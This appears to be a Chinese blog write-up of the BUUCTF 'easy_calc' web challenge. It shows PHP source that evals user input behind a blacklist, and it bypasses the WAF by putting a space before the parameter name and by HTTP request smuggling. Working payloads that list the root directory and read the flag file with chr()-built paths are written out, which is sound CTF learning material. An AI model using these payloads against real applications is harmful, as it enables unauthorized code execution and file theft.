ctf web方向与php学习记录31之waf初见(1)

一,概述

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

二,例题

[BUUCTF easy_calc]

一,分析

查看源码发现calc.php文件
在这里插入图片描述

直接/calc.php,看到了源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']','$','\','^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

看这只要传一个值给num,如:1;phpinfo()这种参数给num即可,但发现只要传值中包含字母就会返回400错误。

二,方法

方法一:利用PHP的字符串解析特性Bypass

参考:https://www.freebuf.com/articles/web/213359.html
构造如:/calc.php?%20num=1;phpinfo()绕过waf,但在php里面仍会解析为num,因此会返回phpinfo界面。
鉴于他过滤了单引号和双引号,我们无法直接传参。
需要用到几个函数来构建取得目录:
var_dump() — 可以将变量的内部信息打印出来,可以打印出数组
scandir() — 传入目录参数,返回传入目录的文件及文件夹
chr() — 传入数字可以将ASCII码解析为字符串
readfile() — 传入文件名作为参数可以读取文件内容
file_get_contents — 传入文件名作为参数可以读取文件内容

47对应ASCII为/,所以构造?%20num=1;var_dump(scandir(chr(47))),取得根目录对应文件及文件夹名字,一般flag都在根目录下。
1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }
可以看见有一个f1agg,构建payload:
calc.php?%20num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
也可以将readfile改为file_get_contents,结果一样,输出有些差异。
1flag{8c38cfc1-87c6-4d2e-b63a-eebd9a022a00} int(43)

方法二:利用http走私

参考:https://paper.seebug.org/1048/

简单说来就是我们抓包之后,手动添加一个Content-Length使得该包有两个。当传给服务器后,先是由代理服务器接受,代理服务器读完第一个Content-Length后将包发给了后端服务器,而后端服务器再次读取Content-Length,将我们需要的内容返回给前端,即使客户端请求的语法错误,服务器无法理解(400错误,bad request),但仍返回了部分内容。

具体操作:
大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置:Content-Length标头和Transfer-Encoding标头
(1)输入url/calc.php?num=1,并抓包。
(2)修改请求如下图,然后发送。
在这里插入图片描述

(3)获得flag过程类似方法一,如下图

在这里插入图片描述

三,后期文章

由于waf和http走私的学习过程会比较漫长,再此说明,后续的文章仅仅针对本题的知识学习与扩展。
后续文章将再次结合本题,复现waf与分享HTTP学习知识。
后续文章添加相关的标题后缀(1)、(2)、(3)等表示为同一知识体系的学习。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值